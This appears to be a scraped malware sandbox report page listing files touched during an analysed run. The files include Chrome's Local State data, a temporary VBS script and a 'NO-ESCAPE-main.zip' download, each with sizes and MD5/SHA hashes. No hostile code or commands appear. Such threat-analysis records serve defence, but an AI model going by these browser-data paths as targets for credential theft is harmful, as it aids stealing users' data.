c3e94a9844c61eb50b27ac4be43748959dfa20407ae8462a8e002de6ce9d11a2bae4bd599c356b9e2004fcaaaa7b443c78273157720d5afe4b0ead586f60861c

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

Filesize
129KB

MD5
c23161d3db19c9ab33c7d0bbde27a358

SHA1
f38213570b2214a8083a07cd80f9fc7d7ad33695

SHA256
b90f32cce8aefa521eed848114f094ec2a3ea310fdef3ea5d85b7e469a6e5066

SHA512
3b266a17c9307a4b874897e64054cfa2693fc8f9cb2b0e85554e7a07665089a560ab56c994ec0bad3a9d3c3a55655ff59fd22c2e75acbb1a5616811f5b1cb489

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\persisted_first_party_sets.json

Filesize
2B

MD5
99914b932bd37a50b983c5e7c90ae93b

SHA1
bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f

SHA256
44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a

SHA512
27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd

Download Submit
C:\Users\Admin\AppData\Local\Temp\4929.tmp\493A.tmp\493B.vbs

Filesize
588B

MD5
67706bca9ceaba11530e05d351487003

SHA1
3a5ed77f81b14093a5f18c4d46895bc7ea770fee

SHA256
190a0d994512ed000cf74bd40fb0502988c2ac48855b23a73fd905c0305fc30f

SHA512
902ac91678d85801a779acbc212c75beba72f8da996b0ed1b148a326c2dd635b88210f9a503fbbffa5271335483eae972e6a00acbc01ec013cf355c080444598

Download Submit
C:\Users\Admin\Downloads\NO-ESCAPE-main.zip

Filesize
732KB

MD5
9172731ba3f16b578bcb14000ccbccd4

SHA1
e7ab716661ed88ecf060dc5d53720877b141eac9

SHA256
ce0a32e35b7c79e7e2ffe7bd3c7566a6fb843341268ad50f4a594e56e17a5110

SHA512
3a35995b6dadf408ca69699220120bba5f70fb3c2a850165ab11dad03821c8ce316bf7e9662f8976e0bf659cdb9adf0c8d0d7beca22b59480e4830dc5e02666c

Download Submit
C:\Users\Admin\Downloads\NO-ESCAPE-main.zip:Zone.Identifier

Filesize
157B

MD5
5a0342fc5cb8b638ec6ac9968492ac45

SHA1
14de4b27eb087d1622dc3d384442f01eb156b56c

SHA256
92392eed085b7fca1e17d67e01debb78493dddc8d0f7475baa958b6961bf1279

SHA512
4880c31267deba7880b18bd968bfa0337697416fdd66d7dc8b115b7ae1f4fdf47a20098e07133682c24a9b47896d96dfcc2250d979696102a3106104ea590dfc

Download Submit

Resubmissions

Analysis

Sharing

Errors

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads